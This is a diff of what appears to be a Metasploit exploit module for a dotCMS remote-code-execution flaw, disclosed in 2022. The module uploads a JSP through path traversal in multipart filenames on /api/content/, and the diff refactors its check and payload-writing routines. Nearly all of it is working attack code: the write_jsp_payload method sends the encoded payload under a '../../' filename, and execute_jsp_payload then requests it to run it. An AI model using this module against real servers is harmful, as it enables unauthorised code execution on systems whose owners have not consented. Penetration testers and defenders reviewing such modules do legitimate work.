@@ -15,7 +15,7 @@ def initialize(info = {})
1515 super (
1616 update_info (
1717 info ,
18- 'Name' => 'Multipart File Directory Traversal can lead to Remote Code Execution .' ,
18+ 'Name' => 'DotCMS RCE via Arbitrary File Upload .' ,
1919 'Description' => %q{
2020 When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
2121 file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
@@ -38,7 +38,7 @@ def initialize(info = {})
3838 'Platform' => %w[ linux win ] ,
3939 'Targets' => [
4040 [
41- 'Automatic ' ,
41+ 'Java Linux ' ,
4242 {
4343 'Arch' => ARCH_JAVA ,
4444 'Platform' => 'linux'
@@ -50,13 +50,6 @@ def initialize(info = {})
5050 'Arch' => ARCH_JAVA ,
5151 'Platform' => 'win'
5252 }
53- ] ,
54- [
55- 'Java Linux' ,
56- {
57- 'Arch' => ARCH_JAVA ,
58- 'Platform' => 'linux'
59- }
6053 ]
6154 ] ,
6255 'DisclosureDate' => '2022-05-03' ,
@@ -83,48 +76,62 @@ def check
8376 test_content = Rex ::Text . rand_text_alpha ( 10 )
8477 test_file = "#{ test_content } .jsp"
8578 test_path = "../../#{ test_file } "
86- multipart_form = Rex ::MIME ::Message . new
87- multipart_form . add_part (
88- test_content ,
89- 'text/plain' , # Content-Type
90- nil , # Content-Transfer-Encoding
91- "form-data; name=\" name\" ; filename=\" #{ test_path } \" "
92- )
79+ uuid = Faker ::Internet . uuid
80+
81+ jsp = <<~EOS
82+ <%@ page import=\" java.io.File\" %>
83+ <%
84+ File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{ @jsp_file } ");
85+ jsp.delete();
86+ %>
87+ #{ uuid }
88+ EOS
89+
90+ vars_form_data = [
91+ {
92+ 'name' => 'name' ,
93+ 'data' => jsp ,
94+ 'encoding' => nil ,
95+ 'filename' => test_path ,
96+ 'mime_type' => 'text/plain'
97+ }
98+ ]
99+
93100 send_request_cgi (
94101 'method' => 'POST' ,
95102 'uri' => normalize_uri ( target_uri . path , '/api/content/' ) ,
96- 'ctype' => "multipart/form-data; boundary=#{ multipart_form . bound } " ,
97- 'data' => multipart_form . to_s
103+ 'vars_form_data' => vars_form_data
98104 )
105+
99106 res = send_request_cgi (
100107 'method' => 'GET' ,
101108 'uri' => normalize_uri ( target_uri . path , test_file . to_s )
102109 )
103110
104- if res && res . body . include? ( test_content )
105- register_file_for_cleanup ( "../webapps/ROOT/#{ test_file } " )
111+ if res && res . body . include? ( uuid )
106112 return Exploit ::CheckCode ::Vulnerable
107113 end
114+
108115 Exploit ::CheckCode ::Safe
109116 end
110117
111118 def write_jsp_payload
112119 jsp_path = "../../#{ jsp_filename } "
113120 print_status ( 'Writing JSP payload' )
114- vprint_status ( jsp_path )
115- multipart_form = Rex ::MIME ::Message . new
116- multipart_form . add_part (
117- payload . encoded ,
118- 'text/plain' , # Content-Type
119- nil , # Content-Transfer-Encoding
120- "form-data; name=\" name\" ; filename=\" #{ jsp_path } \" "
121- )
121+ vars_form_data = [
122+ {
123+ 'name' => 'name' ,
124+ 'data' => payload . encoded ,
125+ 'encoding' => nil ,
126+ 'filename' => jsp_path ,
127+ 'mime_type' => 'text/plain'
128+ }
129+ ]
122130
123131 res = send_request_cgi (
124132 'method' => 'POST' ,
125133 'uri' => normalize_uri ( target_uri . path , '/api/content/' ) ,
126- 'ctype' => "multipart/form-data; boundary=#{ multipart_form . bound } " ,
127- 'data' => multipart_form . to_s
134+ 'vars_form_data' => vars_form_data
128135 )
129136
130137 unless res &.code == 500
@@ -138,7 +145,6 @@ def write_jsp_payload
138145 def execute_jsp_payload
139146 jsp_uri = normalize_uri ( target_uri . path , jsp_filename )
140147 print_status ( 'Executing JSP payload' )
141- vprint_status ( full_uri ( jsp_uri ) )
142148 res = send_request_cgi (
143149 'method' => 'GET' ,
144150 'uri' => jsp_uri
0 commit comments